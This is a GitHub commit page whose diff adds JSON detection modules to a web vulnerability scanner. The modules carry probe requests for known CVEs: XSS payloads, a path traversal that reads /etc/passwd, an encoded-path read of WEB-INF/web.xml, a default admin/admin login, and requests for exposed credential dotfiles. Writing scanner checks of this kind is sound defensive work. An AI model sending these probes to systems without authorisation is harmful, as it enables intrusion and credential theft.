Skip to content

Commit

Permalink
Add modules submitted through Crowdsource
Browse files Browse the repository at this point in the history
  • Loading branch information
Kristian Bremberg committed Jul 20, 2021
1 parent 667fe23 commit 344e1f7
Show file tree
Hide file tree
Showing 35 changed files with 978 additions and 0 deletions.
24 changes: 24 additions & 0 deletions modules/crowdsourced/CVE-2017-9140.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"request": {
"paths": [
"/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000\"onload=\"prompt(1)"
]
},
"response": {
"matchesRequired": 3,
"matches": [
{
"type": "status",
"code": 200
},
{
"type": "static",
"pattern": "var ParametersPage = new ParametersPage"
},
{
"type": "static",
"pattern": "#000000\"onload=\"prompt(1);"
}
]
}
}
26 changes: 26 additions & 0 deletions modules/crowdsourced/CVE-2019-3402.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
{
"request": {
"paths": [
"/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
]
},
"response": {
"matchesRequired": 3,
"matches": [
{
"type": "header",
"name": "Content-Type",
"pattern": "(?i)text/html"
},
{
"type": "status",
"code": 200,
"required": true
},
{
"type": "static",
"pattern": "<script>alert(1)</script>"
}
]
}
}
21 changes: 21 additions & 0 deletions modules/crowdsourced/CVE-2021-28169.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
{
"request": {
"paths": [
"/concat?/%2557EB-INF/web.xml"
]
},
"response": {
"matchesRequired": 2,
"matches": [
{
"type": "header",
"name": "Content-Type",
"pattern": "(?i)(text/xml|application/xml)"
},
{
"type": "static",
"pattern": "<web-app xmlns=\"http://java.sun.com/xml/ns/j2ee\""
}
]
}
}
24 changes: 24 additions & 0 deletions modules/crowdsourced/CVE-2021-32820.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"request": {
"paths": [
"?layout=/etc/passwd"
]
},
"response": {
"matchesRequired": 3,
"matches": [
{
"type": "regex",
"pattern": "\\s*root:[x*]"
},
{
"type": "regex",
"pattern": "\\s*daemon:[x*]"
},
{
"type": "regex",
"pattern": "\\s*operator:[x*]:"
}
]
}
}
23 changes: 23 additions & 0 deletions modules/crowdsourced/activeadmin-panel-disclosure.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"submitter": "Sebastian Neef (@gehaxelt), https://cs.detectify.com/profile/gehaxelt",
"request": {
"paths": [
"/admin"
]
},
"response": {
"matchesRequired": 2,
"matches": [
{
"type": "header",
"name": "Content-Type",
"pattern": "(?i)text/html",
"required": true
},
{
"type": "static",
"pattern": "<p>Powered by <a href=\"http://www.activeadmin.info\">Active Admin"
}
]
}
}
24 changes: 24 additions & 0 deletions modules/crowdsourced/aem-invalidate-cache.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"request": {
"paths": [
"/dispatcher/invalidate.cache"
],
"headers": [
"CQ-Handle: /content",
"CQ-Path: /content"
]
},
"response": {
"matchesRequired": 2,
"matches": [
{
"type": "status",
"code": 200
},
{
"type": "regex",
"pattern": "^<H1>OK</H1>$"
}
]
}
}
24 changes: 24 additions & 0 deletions modules/crowdsourced/apache-airflow-debug-trace.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"request": {
"paths": [
"/admin/airflow/#"
]
},
"response": {
"matchesRequired": 3,
"matches": [
{
"type": "status",
"code": 500
},
{
"type": "static",
"pattern": "<h1> Ooops. </h1>"
},
{
"type": "static",
"pattern": "Traceback (most recent call last)"
}
]
}
}
23 changes: 23 additions & 0 deletions modules/crowdsourced/apache-superset-default-credentials.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"request": {
"method": "POST",
"path": "/#/",
"body": "username=admin&password=admin",
"headers": [
"Content-Type: application/x-www-form-urlencoded; charset=UTF-8"
]
},
"response": {
"matchesRequired": 2,
"matches": [
{
"type": "static",
"pattern": "<title>Redirecting...</title>"
},
{
"type": "static",
"pattern": "<a href=\"/\">/</a>"
}
]
}
}
53 changes: 53 additions & 0 deletions modules/crowdsourced/appsec-yml-disclosure.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
{
"submitter": "Sebastian Neef (@gehaxelt), https://cs.detectify.com/profile/gehaxelt",
"request": {
"paths": [
"/appspec.yml",
"/appspec.yaml"
]
},
"response": {
"matchesRequired": 5,
"matches": [
{
"type": "status",
"code": 200,
"required": true
},
{
"type": "header",
"name": "Content-Type",
"pattern": "(?i)application/yaml",
"required": true
},
{
"type": "static",
"pattern": "\"version\""
},
{
"type": "static",
"pattern": "\"os\""
},
{
"type": "static",
"pattern": "\"files\""
},
{
"type": "static",
"pattern": "\"permissions\""
},
{
"type": "static",
"pattern": "\"hooks\""
},
{
"type": "static",
"pattern": "\"BeforeInstall\""
},
{
"type": "static",
"pattern": "\"ApplicationStart\""
}
]
}
}
38 changes: 38 additions & 0 deletions modules/crowdsourced/clockwork-dashboard-exposure.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
{
"request": {
"paths": [
"/__clockwork/latest"
]
},
"response": {
"matchesRequired": 6,
"matches": [
{
"type": "header",
"name": "Content-Type",
"pattern": "(?i)application/json",
"required": true
},
{
"type": "static",
"pattern": "\"id\""
},
{
"type": "static",
"pattern": "\"version\""
},
{
"type": "static",
"pattern": "\"method\""
},
{
"type": "static",
"pattern": "\"url\""
},
{
"type": "static",
"pattern": "\"time\""
}
]
}
}
23 changes: 23 additions & 0 deletions modules/crowdsourced/dockerfile-hidden-disclosure.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"submitter": "Sebastian Neef (@gehaxelt), https://cs.detectify.com/profile/gehaxelt",
"request": {
"paths": [
"/.dockerfile",
"/.Dockerfile"
]
},
"response": {
"matchesRequired": 2,
"matches": [
{
"type": "status",
"code": 200,
"required": true
},
{
"type": "regex",
"pattern": "^(?:FROM(?:CACHE)?|RUN|ADD|WORKDIR|ENV|EXPOSE|\\#)\\s+[ -~]+"
}
]
}
}
27 changes: 27 additions & 0 deletions modules/crowdsourced/esmtprc-dotfile-disclosure.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
{
"name": "esmtprc dotfile",
"request": {
"path": "/.esmtprc"
},
"response": {
"matchesRequired": 4,
"matches": [
{
"type": "static",
"pattern": "hostname"
},
{
"type": "static",
"pattern": "username"
},
{
"type": "static",
"pattern": "password"
},
{
"type": "status",
"code": 200
}
]
}
}
25 changes: 25 additions & 0 deletions modules/crowdsourced/filezilla-disclosure.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
{
"request": {
"paths": [
"/FileZilla.xml"
]
},
"response": {
"matchesRequired": 3,
"matches": [
{
"type": "header",
"name": "Content-Type",
"pattern": "(?i)(text/xml|application/xml)"
},
{
"type": "static",
"pattern": "<RecentServers>"
},
{
"type": "static",
"pattern": "<FileZilla"
}
]
}
}
Loading

0 comments on commit 344e1f7

Please # to comment.